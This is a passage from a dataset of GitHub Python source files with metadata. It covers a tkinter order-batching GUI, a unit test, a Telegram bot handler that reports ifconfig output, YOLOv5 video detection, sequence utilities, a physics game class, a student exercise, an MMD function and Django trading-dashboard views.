sample_df.vstack(\n            pl.read_json(f\"intermediate_{num}.json\").select(sample_df.columns)\n        )\n        Path(f\"intermediate_{num}.json\").unlink()\n\n    print(sample_df)\n    sample_df.write_parquet(output)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"afg1/litscan-summarization","sub_path":"summarize/run_sentence_selection.py","file_name":"run_sentence_selection.py","file_ext":"py","file_size_in_byte":3132,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"39702912916","text":"# /Users/Trevor/Documents/Scripts/batch-forge python\n# UI Script for Batch Forge\n\nfrom glob import glob\nfrom tkinter import *\nfrom os import getcwd\n\nfrom batch_sorting import *\nfrom batching_window import batch_orders_window\nfrom caldera_importing_window import caldera_import_window\nfrom sorter_window import sort_zipped_packages_window\nfrom wallpaper_sorter_functions import moveForDueDates\nfrom batch_forge_config import GENERAL_VARS_HIDDEN as GVH\n\n# Set Installation Directory. Don't actually know if I'll really need this.\ninstallation_dir = \"/Users/Trevor/Documents/Scripts/batch-forge/\"\n\nsort_results = []\n\n# Necessary Caldera Directories\nDOWNLOAD_DIR = GVH[\"Caldera Dirs\"][\"Downloads\"]\nSORTING_DIR = GVH[\"Caldera Dirs\"][\"Sorting\"]\n\n\n# Initilize TK and main menu window\nroot = Tk()\napp_image = Image(\"photo\", file=installation_dir + \"assets/batch_forge_icon.png\")\nroot.call(\"wm\", \"iconphoto\", root._w, app_image)\nroot.title(\"Batch Forge\")\nroot.geometry(\"300x350\")\nroot.minsize(300, 350)\nroot.maxsize(300, 350)\n\nmain_menu_frame = LabelFrame(root, text=\"Main Menu\", padx=10, pady=10)\n\nmain_menu_frame.pack(padx=10, pady=10)\n\nbutton_sort_orders = Button(\n    main_menu_frame,\n    text=\"Sort Orders\",\n    width=20,\n    height=2,\n    command=lambda: sort_zipped_packages_window(root),\n)\n\nbutton_sort_orders.pack()\n\nif len(glob(DOWNLOAD_DIR + \"*.zip\")) == 0:\n    button_sort_orders[\"text\"] = \"No Orders to Sort\"\n    button_sort_orders[\"state\"] = DISABLED\n\nbutton_batch_orders = Button(\n    main_menu_frame,\n    text=\"Build-A-Batch\",\n    width=20,\n    height=2,\n    command=lambda: batch_orders_window(root),\n).pack()\n\nbutton_caldera_importer = (\n    Button(\n        main_menu_frame,\n        text=\"Caldera Importer\",\n        width=20,\n        height=2,\n        command=lambda: caldera_import_window(root),\n    ).pack(),\n)\n\nbutton_drive_downloader = Button(\n    main_menu_frame, text=\"Download from Drive\", width=20, height=2\n).pack()\n\nbutton_dates_update = Button(\n    main_menu_frame,\n    text=\"Update Sort for Due Dates\",\n    width=20,\n    height=2,\n    command=lambda: moveForDueDates(glob(SORTING_DIR + \"**/*.pdf\", recursive=True)),\n).pack()\n\nbutton_quit = Button(\n    main_menu_frame, text=\"Quit Batch Forge\", width=20, height=2, command=root.quit\n).pack()\n\nroot.mainloop()\n","repo_name":"tnuckles/batch-forge","sub_path":"gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":2279,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"}
+{"seq_id":"40754248127","text":"\"\"\"Unit tests for conversions.py.\"\"\"\n\nimport unittest\nimport numpy\nfrom generalexam.ge_utils import conversions\n\nTOLERANCE = 1e-5\n\nDEWPOINT_MATRIX_KELVINS = numpy.array(\n    [[-42.9, 6.5, numpy.nan],\n     [-46.8, 26.7, -100]]\n) + conversions.ZERO_CELSIUS_IN_KELVINS\nTEMPERATURE_MATRIX_KELVINS = numpy.array(\n    [[-35.9, 36.4, -50],\n     [-46.1, 30.9, -80]]\n) + conversions.ZERO_CELSIUS_IN_KELVINS\n\nPRESSURE_MATRIX_PASCALS = numpy.array([[89930, 88710, 85000],\n                                       [93450, 93450, numpy.nan]])\n\nWET_BULB_TEMP_MATRIX_KELVINS = numpy.array(\n    [[-36.265742, 17.101542, numpy.nan],\n     [-46.125458, 27.675687, numpy.nan]]\n) + conversions.ZERO_CELSIUS_IN_KELVINS\n\n\nclass ConversionsTests(unittest.TestCase):\n    \"\"\"Each method is a unit test for conversions.py.\"\"\"\n\n    def test_dewpoint_to_wet_bulb_temperature(self):\n        \"\"\"Ensures correct output from dewpoint_to_wet_bulb_temperature.\"\"\"\n\n        this_wet_bulb_temp_matrix_kelvins = (\n            conversions.dewpoint_to_wet_bulb_temperature(\n                dewpoints_kelvins=DEWPOINT_MATRIX_KELVINS,\n                temperatures_kelvins=TEMPERATURE_MATRIX_KELVINS,\n                total_pressures_pascals=PRESSURE_MATRIX_PASCALS)\n        )\n\n        self.assertTrue(numpy.allclose(\n            this_wet_bulb_temp_matrix_kelvins, WET_BULB_TEMP_MATRIX_KELVINS,\n            atol=TOLERANCE, equal_nan=True))\n\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"thunderhoser/GeneralExam","sub_path":"generalexam/ge_utils/conversions_test.py","file_name":"conversions_test.py","file_ext":"py","file_size_in_byte":1443,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"}
+{"seq_id":"37385862490","text":"# Author        : myth-dev\n# GitHub        : https://github.com/mython-dev\n# Instagram     : @thehackerworld && @mython_dev\n# Telegram      : @myth_dev\n# Date          : Saturday, March 18, 2023\n# Main Language : Python\n\n\nimport asyncio\nimport subprocess\nfrom aiogram import types\n\nasync def command_network(message: types.Message):\n\n    try:\n        # Запуск команду 'ifconfig' с помощью asyncio.create_subprocess_shell() и сохранит ее вывод в переменную с именем ifconfig.\n        result = await asyncio.create_subprocess_shell('ifconfig', stdout=subprocess.PIPE)\n        ifconfig = await result.stdout.read()\n\n        # Проверка, длиннее ли выходные данные 4096 байт. Если это так,  записать его в файл и  отправить этот файл как документ.\n        if len(ifconfig) > 4096:\n            with open('ifconfig.txt', 'w') as file:\n                file.write(ifconfig.decode())\n\n            with open('ifconfig.txt', 'rb') as file:\n                # Отправить файл.\n                await message.reply('Отправляю пожалуйста подаждите...')\n                await message.reply_document(file, caption='Ловите...')\n\n        # Если выходные данные короче или равны 4096 байтам, отправить их как обычное сообщение.\n        else:\n            await message.reply(ifconfig.decode())\n\n    #  Перехват любые исключения, которые могут возникнуть во время выполнения, и  отправить пользователю сообщение об ошибке.\n    except Exception as e:\n        error_message = f\"Произошла ошибка: {str(e)}\"\n        await message.reply(error_message)\n","repo_name":"mython-dev/server-management-tool","sub_path":"commands/network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":1898,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"20611633039","text":"import numpy as np\nimport pandas as pd\nimport cv2\nimport datetime\nimport glob\nimport os\nimport matplotlib.pyplot as plt\nimport torch\n\nbase_dir = r'D:/research/Iot/video'\nos.chdir(base_dir)\n\n\n\ndef drawBoxes(frame, df):\n    boxColor = (128, 255, 0) # very light green\n    TextColor = (255, 255, 255) # white\n    boxThickness = 1 \n    textThickness = 1 \n    \n    for index, row in df.iterrows():\n        xA, yA, xB, yB = row['xmin'], row['ymin'], row['xmax'], row['ymax']\n        txt = 'Class: {}  , Conf: {} '.format(row['name'], row['confidence'])\n        frame = cv2.rectangle(frame, (xA, yA), (xB, yB), boxColor, boxThickness)\n        frame = cv2.putText(frame, txt, (xA, yA), cv2.FONT_HERSHEY_SIMPLEX, 0.5, TextColor, textThickness)\n    return frame\n\n# load custom model \nmodel = torch.hub.load('ultralytics/yolov5', 'custom', path = 'D:/research/Iot/video/best.pt')\n\n# load pre-trained model\n# model = torch.hub.load('ultralytics/yolov5', 'yolov5s') \n\ncap = cv2.VideoCapture('C:/Users/xurui/Downloads/Arson022_x264.mp4')\nwidth  = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))   # int width\nheight = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))  # int height\nframes_num = int(cap.get(cv2.CAP_PROP_FPS)) # int fps\ntotal_frame=cap.get(7)\nprint('Frame per second {}'.format(frames_num))\nprint('size: {}, {}'.format(width, height))\n\ninterval = 1 # collect frame every \"interval\" second\n\nc = 0\ndf_col = pd.DataFrame(columns=['frame_num','xmin', 'ymin', 'xmax', 'ymax', 'confidence', 'class', 'name'])\nwhile True:\n    ret, img = cap.read()\n    if ret:\n        c += 1\n        if c % (frames_num * interval) == 1: # detect every 'interval' second\n            results = model(img)\n            # labels, cords, confids = results.xyxyn[0][:, -1].numpy(), results.xyxyn[0][:, :-2].numpy(), results.xyxyn[0][:, -2].numpy()\n            df = results.pandas().xyxy[0]\n            if len(df) > 0: # at least one object detected\n                df['frame_num'] = c\n                df[['xmin', 'ymin', 'xmax', 'ymax']] = df[['xmin', 'ymin', 'xmax', 'ymax']].astype(int)\n                df_col = pd.concat([df_col, df],ignore_index=True)# for ind in range(len(df)):\n                print(datetime.datetime.now(), ' --- frame ', c, len(df_col))\n        cv2.namedWindow(\"video\", 0)\n        cv2.resizeWindow(\"video\", width*3, height*3)\n        cv2.imshow('video',drawBoxes(img,df))\n        k = cv2.waitKey(10) & 0xff\n        if k == 27: # press 'ESC' to quit\n            break\n    else:\n        break\ncap.release()\ncv2.destroyAllWindows()\n\ndf_col.to_csv('')\n\n# object and count\ndf_col.groupby(by = 'name').count()['frame_num']\n# object detected for each frame\ndf_col.groupby(by = 'frame_num').count()['name']\n","repo_name":"RuiXu001/Object_detection","sub_path":"cv.py","file_name":"cv.py","file_ext":"py","file_size_in_byte":2676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"20581381475","text":"def window(L, size):\n    \"\"\"list * size -> window iterable\n\n    Returns a sliding 'window' through the list L of size size.\"\"\"\n    assert not isinstance(L, int), 'Argument order swapped: window(L, size)'\n    if size < 1:\n        raise ValueError('size <= 0 disallowed.')\n    for i in range(len(L) - (size-1)):\n        yield L[i:i+size]\n\ndef mapinto(f, L):\n    for (i, x) in enumerate(L):\n        L[i] = f(x)\n\ndef renumerate(L):\n    for i in range(len(L)-1, -1, -1):\n        yield (i, L[i])\n\ndef dameraulevenshtein(seq1, seq2):\n    \"\"\"Calculate the Damerau-Levenshtein distance between sequences.\n\n    This distance is the number of additions, deletions, substitutions,\n    and transpositions needed to transform the first sequence into the\n    second. Although generally used with strings, any sequences of\n    comparable objects will work.\n\n    Transpositions are exchanges of *consecutive* characters; all other\n    operations are self-explanatory.\n\n    This implementation is O(N*M) time and O(M) space, for N and M the\n    lengths of the two sequences.\n\n    >>> dameraulevenshtein('ba', 'abc')\n    2\n    >>> dameraulevenshtein('fee', 'deed')\n    2\n\n    It works with arbitrary sequences too:\n    >>> dameraulevenshtein('abcd', ['b', 'a', 'c', 'd', 'e'])\n    2\n    \"\"\"\n    # codesnippet:D0DE4716-B6E6-4161-9219-2903BF8F547F\n    # Conceptually, this is based on a len(seq1) + 1 * len(seq2) + 1 matrix.\n    # However, only the current and two previous rows are needed at once,\n    # so we only store those.\n    # Sourced from http://mwh.geek.nz/2009/04/26/python-damerau-levenshtein-distance/\n    oneago = None\n    thisrow = list(range(1, len(seq2) + 1)) + [0]\n    for x in range(len(seq1)):\n        # Python lists wrap around for negative indices, so put the\n        # leftmost column at the *end* of the list. This matches with\n        # the zero-indexed strings and saves extra calculation.\n        twoago, oneago, thisrow = oneago, thisrow, [0] * len(seq2) + [x + 1]\n        for y in range(len(seq2)):\n            delcost = oneago[y] + 1\n            addcost = thisrow[y - 1] + 1\n            subcost = oneago[y - 1] + (seq1[x] != seq2[y])\n            thisrow[y] = min(delcost, addcost, subcost)\n            # This block deals with transpositions\n            if (x > 0 and y > 0 and seq1[x] == seq2[y - 1]\n                and seq1[x-1] == seq2[y] and seq1[x] != seq2[y]):\n                thisrow[y] = min(thisrow[y], twoago[y - 2] + 1)\n    return thisrow[len(seq2) - 1]\n\n# vim:set shiftwidth=4 softtabstop=4 expandtab textwidth=79:\n\n","repo_name":"progval/Limnoria","sub_path":"src/utils/seq.py","file_name":"seq.py","file_ext":"py","file_size_in_byte":2536,"program_lang":"python","lang":"en","doc_type":"code","stars":605,"dataset":"github-code","pt":"21"}
+{"seq_id":"38874500343","text":"from GravGame.Utility import *\nimport copy\nimport pygame as pg\nimport time\n\nLIGHTSPEED = 1000\nRAY_STEPSIZE = 0.005\n\n\nclass Ray(GameObj):\n    def __init__(self, parent_planet, game):\n        super().__init__(copy.copy(parent_planet.pos), 2, parent_planet.color.correct_gamma(1.5))\n        self.tail = []\n        self.game = game\n        self.create(parent_planet)\n\n    def create(self, parent_planet):\n        pos = self.pos\n        vel = vec_from_angle(parent_planet.aim) * LIGHTSPEED\n        # out of bounds and collision check\n        while pos[0] > 0 and pos[0] < self.game.size[0] and pos[1] > 0 and pos[1] < self.game.size[1] and not self.collision(parent_planet):\n            # out of bounds and wells collision\n            self.tail.append(copy.copy(pos))\n            # Update Velocity then update position\n            forces = np.zeros(2)\n            for w in self.game.wells:\n                c_vec = w.pos - self.pos\n                distance = length(c_vec)\n                forces += w.m * 2 / distance ** 4 * c_vec  # / distance ** 3 would be more correct but / distance ** 4 is more fun\n            vel += forces * RAY_STEPSIZE\n            vel = vel / np.sqrt(np.dot(vel, vel)) * LIGHTSPEED\n            pos += vel * RAY_STEPSIZE\n\n\n    def collision(self, parent_planet):\n        for w in self.game.wells:\n            c_vec = w.pos - self.pos\n            if np.dot(c_vec, c_vec) < np.square(w.size):\n                return True\n        for plan in self.game.planets:\n            if not plan == parent_planet:\n                c_vec = plan.pos - self.pos\n                if np.dot(c_vec, c_vec) < np.square(plan.size):\n                    if plan.color == parent_planet.color:\n                        self.planet = plan\n                        plan.connected = True\n                        parent_planet.connected = True\n                    return True\n        return False\n\n    def draw(self, screen, mat=mat_identity()):\n        super().draw_child(screen, mat)\n        for i in range(len(self.tail) - 1):\n            pg.draw.aaline(screen, self.color, translate(self.tail[i], mat), translate(self.tail[i + 1], mat), self.size * 2)","repo_name":"Mo0dy/GravGame","sub_path":"Light.py","file_name":"Light.py","file_ext":"py","file_size_in_byte":2140,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"11423666433","text":"import numpy as np\n\n\ndef rotation_matrix(n, alpha):\n    \"\"\"\n    n: (3,) rotation axis. Input vector is normalized in the function.\n    alpha: angle in radians.\n\n    output: (3x3) rotation matrix\n    \"\"\"\n    # From https://de.wikipedia.org/wiki/Drehmatrix#Drehmatrizen_des_Raumes\n    n = n/np.linalg.norm(n)\n    cos_a = np.cos(alpha)\n    sin_a = np.sin(alpha)\n    foo = 1 - cos_a\n    R = np.array([[n[0]*n[0]*foo + cos_a,\n                   n[0]*n[1]*foo - n[2]*sin_a,\n                   n[0]*n[2]*foo + n[1]*sin_a],\n                  [n[1]*n[0]*foo + n[2]*sin_a,\n                   n[1]*n[1]*foo + cos_a,\n                   n[1]*n[2]*foo - n[0]*sin_a],\n                  [n[2]*n[0]*foo - n[1]*sin_a,\n                   n[2]*n[1]*foo + n[0]*sin_a,\n                   n[2]*n[2]*foo + cos_a]])\n    return R\n\n\ndef derive_scalar_wrt_array(fun, x0, dx=1e-4):\n    \"\"\"fun: scalar function,\n       x0: np.array at which point the function should be derived\"\"\"\n    res = np.zeros_like(x0)\n    for i in range(x0.size):\n        ind = np.unravel_index(i, x0.shape)\n        displacement = np.zeros_like(x0)\n        displacement[ind] = dx\n\n        f_plus = fun(x0 + displacement)\n        f_minus = fun(x0 - displacement)\n        res[ind] = (f_plus - f_minus)/(2*dx)\n    return res\n\n\ndef derive_array_wrt_array(fun, x0, dx=1e-4):\n    \"\"\"\"\"\"\n    f0 = fun(x0)\n    res = np.zeros(f0.shape + x0.shape)\n    for i in range(x0.size):\n        ind = np.unravel_index(i, x0.shape)\n        displacement = np.zeros_like(x0)\n        displacement[ind] = dx\n\n        f_plus = fun(x0 + displacement)\n        f_minus = fun(x0 - displacement)\n        # None is used as replacement for :\n        res[(Ellipsis, ) + ind] = (f_plus - f_minus)/(2*dx)\n    return res\n","repo_name":"hauser-group/mleam","sub_path":"test/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1728,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"8483539389","text":"from fastapi import FastAPI\nfrom fastapi.middleware.cors import CORSMiddleware\nfrom . import models\nfrom .database import engine\nfrom .routers import posts, users, auth, votes\n\n# this line was used to create all the tables specified in the models file when code is run\n# since we are using alembic to generate the tables, we don't need this anymore\n# models.Base.metadata.create_all(bind=engine)\n\napp = FastAPI()\n\norigins = [\"*\"] # list of web domains that can access our api; \"*\" means everyone can access\napp.add_middleware(CORSMiddleware,\n                   allow_origins=origins,\n                   allow_credentials=True,\n                   allow_methods=[\"*\"],\n                   allow_headers=[\"*\"]\n                   )\n\napp.include_router(posts.router)\napp.include_router(users.router)\napp.include_router(auth.router)\napp.include_router(votes.router)\n\n@app.get(\"/\")\n# can do async def if you want an async operation\ndef root():\n    return {\"message\": \"Welcome To My Api!! Deployed from ubuntu\"}\n\n\n        \n\n\n\n\n\n\n    ","repo_name":"apatel415/fastapi","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1024,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"74508975413","text":"# -*- coding: utf-8 -*-\n# Week 1 - Assessed exercises\n\n# Q1 Write a for loop to compute the sum of x^2 for x from 0 to 8. What is the\n# value of this sum?\nsum=0\nfor x in range(0,9):\n    sum+=pow(x,2)\nprint('sum=',sum,'\\n')\n# Ans:204\n\n# Q2 Define a function (addition) that returns the sum of two numbers x and y.\n# Use the function to calculate 2.09 + 8.73\ndef addition(x,y):\n    sum=x+y\n    return sum\nprint('2.09+8.73=',addition(2.09,8.73),'\\n')\n\n# Ans: 10.82\n\n# Q3 Find the 3 errors in the code below. The function sin_estimate should\n# calculate an estimate of the sine function at the value 'x', with an error\n# tolerance of 'tol'. After finding the 3 errors and fixing the code, the\n# variable y should equal 0.09983341666666667\nimport math\ndef sin_estimate(x,tol=10**-10):\n    sin_est = 0\n    i = 0\n    error = abs(sin_est-math.sin(x))\n    while error>tol and i<50:\n        sin_est += ((-1)**i)*(x**(2*i+1))/math.factorial(2*i+1)\n        error = abs(sin_est-math.sin(x))\n        i += 1 \n    return  sin_est\ny = sin_estimate(0.1)  \nprint('y=',y,'\\n')               \n# Ans: Error 1 = _:___, Error 2 = _import math___, Error 3 = _i+=1___\n\n# Q4 A bakery sells cupcakes, cookies and pastries. A cupcake costs €1.50, a \n# cookie costs €1.00 and a pastry costs €0.80. However, the bakery offers \n# discounts if you buy multiple items. If you buy 4-8 cupcakes they cost €1.20 \n# each, and if you buy more then 8 they are €1.00 each. If you buy 5 or more \n# cookies they are €0.80. If you buy more than 3 pastries they are reduced to \n# €0.65 each, and reduced further to €0.50 if you buy 10 or more.\n# Create a set of nested if/elif/else statements to determine the price of each\n# item based on the amount the customer requests and then computes the total\n# cost of the order.\n# Pay attention to the phrasing \"more than n\", \"n or more\" one includes the \n# value 'n' and the other does not.\n# Use your code to determine the total cost of 8 cupcakes, 4 cookies and 12 \n# pastries.\ndef cost_count(n1,n2,n3):\n    if n1<4:\n        total_cost=1.5*n1\n    elif n1>=4 and n1<=8:\n        total_cost=1.2*n1\n    else:\n        total_cost=n1\n    if n2<5:\n        total_cost+=n2\n    else:\n        total_cost+=0.8*2\n    if n3<=3:\n        total_cost+=0.8*n3\n    elif n3>3 and n3<10:\n        total_cost+=0.65*n3\n    else:\n        total_cost+=0.5*n3\n    return total_cost\nprint('the total cost of 8 cupcakes, 4 cookies and 12 pastries is',cost_count(8,4,12))\n# Ans:19.6\n\n","repo_name":"LIBINGBING1111/Data-programmning-with-Python","sub_path":"Data programming with Python/week2/LI BINGBING_Week2 .py","file_name":"LI BINGBING_Week2 .py","file_ext":"py","file_size_in_byte":2468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"40635955468","text":"import pygame\n\nfrom src.drive_c.api.Desktop import Desktop\nfrom src.drive_c.nitro_os.desktops.login_screen.windows import (\n    LoginScreenDetails,\n)\nfrom src.drive_c.api.AssestManager import AssetManager\n\n\nclass LoginDesktop(Desktop):\n    def __init__(\n        self,\n        id: int,\n        size: (int, int),\n        assets: AssetManager,\n        change_user_func,\n    ) -> None:\n        super().__init__(id, size, assets)\n\n        self.create_window(\n            LoginScreenDetails,\n            size=(500, 250),\n            change_user_func=change_user_func,\n        )\n\n    def draw(self, output_surface: pygame.Surface) -> None:\n        self.surface.fill((0, 0, 0))\n\n        return super().draw(output_surface)\n","repo_name":"Nitrostation-Dev/NitroOS","sub_path":"src/drive_c/nitro_os/desktops/login_screen/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"23963087986","text":"class Card(object):\r\n\r\n    card_values = {\r\n        'Ace': 11,  # value of the ace is high until it needs to be low\r\n        '2': 2,\r\n        '3': 3,\r\n        '4': 4,\r\n        '5': 5,\r\n        '6': 6,\r\n        '7': 7,\r\n        '8': 8,\r\n        '9': 9,\r\n        '10': 10,\r\n        'Jack': 10,\r\n        'Queen': 10,\r\n        'King': 10\r\n    }\r\n\r\n    def __init__(self, suit, rank):\r\n        \"\"\"\r\n        :param suit: The face of the card, e.g. Spade or Diamond\r\n        :param rank: The value of the card, e.g 3 or King\r\n        \"\"\"\r\n        self.suit = suit.capitalize()\r\n        self.rank = rank\r\n        self.points = self.card_values[rank]\r\n\r\nrank_dict = {\r\n    'A': 'Ace',\r\n    'K': 'King',\r\n    'Q': 'Queen',\r\n    'J': 'Jack',\r\n    'T': '10',\r\n    '9': '9',\r\n    '8': '8',\r\n    '7': '7',\r\n    '6': '6',\r\n    '5': '5',\r\n    '4': '4',\r\n    '3': '3',\r\n    '2': '2'\r\n}\r\n\r\nletter2suit = {\r\n    'S': 'Spades',\r\n    'D': 'Diamonds',\r\n    'H': 'Hearts',\r\n    'C': 'Clubs'\r\n}\r\n\r\nCARD = \"\"\"\\\r\n┌─────────┐\r\n│{}       │\r\n│         │\r\n│         │\r\n│    {}   │\r\n│         │\r\n│         │\r\n│       {}│\r\n└─────────┘\r\n\"\"\".format('{rank: <2}', '{suit: <2}', '{rank: >2}')\r\n\r\nHIDDEN_CARD = \"\"\"\\\r\n┌─────────┐\r\n│░░░░░░░░░│\r\n│░░░░░░░░░│\r\n│░░░░░░░░░│\r\n│░░░░░░░░░│\r\n│░░░░░░░░░│\r\n│░░░░░░░░░│\r\n│░░░░░░░░░│\r\n└─────────┘\r\n\"\"\"\r\n\r\ndef join_lines(strings):\r\n    \"\"\"\r\n    Stack strings horizontally.\r\n    This doesn't keep lines aligned unless the preceding lines have the same length.\r\n    :param strings: Strings to stack\r\n    :return: String consisting of the horizontally stacked input\r\n    \"\"\"\r\n    liness = [string.splitlines() for string in strings]\r\n    return '\\n'.join(''.join(lines) for lines in zip(*liness))\r\n\r\ndef ascii_version_of_card(*cards):\r\n    \"\"\"\r\n    Instead of a boring text version of the card we render an ASCII image of the card.\r\n    :param cards: One or more card objects\r\n    :return: A string, the nice ascii version of cards\r\n    \"\"\"\r\n\r\n    # we will use this to prints the appropriate icons for each card\r\n    name_to_symbol = {\r\n        'Spades':   '♠',\r\n        'Diamonds': '♦',\r\n        'Hearts':   '♥',\r\n        'Clubs':    '♣'\r\n    }\r\n\r\n    def card_to_string(card):\r\n        # 10 is the only card with a 2-char rank abbreviation\r\n        rank = card.rank if card.rank == '10' else card.rank[0]\r\n\r\n        # add the individual card on a line by line basis\r\n        return CARD.format(rank=rank, suit=name_to_symbol[card.suit])\r\n\r\n\r\n    return join_lines(map(card_to_string, cards))\r\n\r\n\r\ndef ascii_version_of_hidden_card(*cards):\r\n    \"\"\"\r\n    Essentially the dealers method of print ascii cards. This method hides the first card, shows it flipped over\r\n    :param cards: A list of card objects, the first will be hidden\r\n    :return: A string, the nice ascii version of cards\r\n    \"\"\"\r\n\r\n    return join_lines((HIDDEN_CARD, ascii_version_of_card(*cards[1:])))\r\n\r\ndef dispCards(*Cards):\r\n    CARDS = [ Card(letter2suit[i[1]], rank_dict[i[0]]) for i in Cards]\r\n    print(ascii_version_of_card(*CARDS))\r\n\r\ndef _dispCards(*Cards):\r\n    CARDS = [ Card(letter2suit[i[1]], rank_dict[i[0]]) for i in Cards]\r\n    return (ascii_version_of_card(*CARDS))","repo_name":"Vivojay/Poker-CLI","sub_path":"ascii_card_displayer.py","file_name":"ascii_card_displayer.py","file_ext":"py","file_size_in_byte":3428,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"2827120542","text":"import torch\n\ndef compute_kernel(x, y, k):\n    batch_size_x, dim_x = x.size()\n    batch_size_y, dim_y = y.size()\n    assert dim_x == dim_y\n\n    xx = x.unsqueeze(1).expand(batch_size_x, batch_size_y, dim_x)\n    yy = y.unsqueeze(0).expand(batch_size_x, batch_size_y, dim_y)\n    distances = (xx - yy).pow(2).sum(2)\n    return k(distances)\n\ndef mmd(z_tilde, z, kernel='imq'):\n    # gaussian\n    def gaussian(d, var=16.):\n        return torch.exp(- d / var).sum(1).sum(0)\n\n    # inverse multiquadratics\n    def inverse_multiquadratics(d, var=16.):\n        \"\"\"\n        :param d: (num_samples x, num_samples y)\n        :param var:\n        :return:\n        \"\"\"\n        return (var / (var + d)).sum(1).sum(0)\n    if kernel == 'imq':\n\n        k = inverse_multiquadratics\n    elif kernel == 'gaussian':\n        k = gaussian\n    else:\n        raise AttributeError(f'Kernel type {kernel} not understood. Available: [gaussian, imq]')\n\n    batch_size = z_tilde.size(0)\n    zz_ker = compute_kernel(z, z, k)\n    z_tilde_z_tilde_ker = compute_kernel(z_tilde, z_tilde, k)\n    z_z_tilde_ker = compute_kernel(z, z_tilde, k)\n\n    first_coefs = 1. / (batch_size * (batch_size - 1))\n    second_coef = 2 / (batch_size * batch_size)\n    mmd_distance = (first_coefs * zz_ker\n           + first_coefs * z_tilde_z_tilde_ker\n           - second_coef * z_z_tilde_ker)\n    return mmd_distance","repo_name":"SonyCSLParis/DrumGAN","sub_path":"evaluation/metrics/maximum_mean_discrepancy.py","file_name":"maximum_mean_discrepancy.py","file_ext":"py","file_size_in_byte":1360,"program_lang":"python","lang":"en","doc_type":"code","stars":89,"dataset":"github-code","pt":"21"}
+{"seq_id":"73617528371","text":"from django.shortcuts import render, get_object_or_404, redirect\nfrom django.views.generic import TemplateView, ListView, DetailView\nfrom django.views.generic.edit import CreateView, UpdateView\nfrom django.db.models import Q\nfrom django.db.models import Sum\nfrom django.http import JsonResponse\n\nfrom .models import *\nfrom .forms import TradeChartsForm\n\nclass Dashboard(TemplateView):\n    template_name = 'trade/dashboard.html'\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        trader = self.request.user\n        plan = trader.trader_plan\n        portfolio = trader.trader_portfolio\n        strategies = Strategy.objects.filter(owner__exact=trader)\n        portfolio_strategies = portfolio.strategies.all()\n        pairs = Pair.objects.all()\n        portfolio_pairs = portfolio.pairs.all()\n        traded_by_requets_user = Trade.objects.filter(trader=trader)\n        traded_strategies = []\n        for tr in traded_by_requets_user:\n            if not tr.strategy in traded_strategies:\n                traded_strategies.append(tr.strategy)\n        if portfolio_pairs.count() == 0:\n            context['pairs'] = pairs\n        else:\n            context['pairs'] = portfolio_pairs        \n        context['excludes_pairs'] = pairs.exclude(id__in=portfolio_pairs)\n        context['excludes_strategies'] = strategies.exclude(id__in=portfolio_strategies)\n        context['strategies'] = portfolio_strategies\n        context['traded_strategies'] = traded_strategies\n        context['trading_plan'] = plan\n        context['trading_portfolio'] = portfolio\n        return context\n\nclass Statistics(TemplateView):\n\n    def get(self, *args, **kwargs):\n        query = self.request.GET\n        strategy_id = int(query.get('strategy'))        \n        strategy = get_object_or_404(Strategy, pk=strategy_id)\n        strategy_trades = Trade.objects.filter(strategy__exact=strategy)\n        pair_ids = strategy_trades.values('pair').distinct()\n        pairs = Pair.objects.all()\n        dataset = []\n\n        for _id in pair_ids:\n            trades = strategy_trades.filter(pair__exact=_id['pair'])\n            won = trades.filter(outcome__exact=GAIN)\n            lost = trades.filter(outcome__exact=LOSS)\n            pair = pairs.get(pk=_id['pair'])\n            if not won.count() == 0:\n                avg = won.aggregate(Sum('pips'))['pips__sum']/won.count()\n            else:\n                avg = 0\n            allwonpips = []\n            for awp in won.values('pips'):\n                allwonpips.append(awp['pips'])\n            alllostpips = []\n            for alp in lost.values('pips'):\n                alllostpips.append(alp['pips'])\n            row = {\n                'pair': pair.name,\n                'trades': trades.count(),\n                'won': won.count(),\n                'allwonpips': allwonpips,\n                'alllostpips': alllostpips,\n                'lost': lost.count(),\n                'rate': won.count()/trades.count() * 100,\n                'rates': [\n                    {\n                        'gained': won.count()/trades.count() * 100\n                    },\n                    {\n                        'lost': lost.count()/trades.count() * 100\n                    },\n                ],\n                'pipsgained': won.aggregate(Sum('pips'))['pips__sum'],\n                'pipslost': lost.aggregate(Sum('pips'))['pips__sum'],\n                'avg': avg,\n            }\n            dataset.append(row)\n        return JsonResponse(dataset, safe=False)\n\n\nclass UpdatePlan(TemplateView):\n    model = TradingPlan\n\n    def post(self, *args, **kwargs):\n        plan = self.request.user.trader_plan\n        details = self.request.POST\n        update = details.get('update')\n        plan.description=update\n        plan.save()\n        return redirect('home')\n\nclass UpdatePortfolio(TemplateView):\n    model = Portfolio\n\n    def post(self, *args, **kwargs):\n        trader = self.request.user\n        portfolio = self.request.user.trader_portfolio\n        details = self.request.POST\n        pairs = 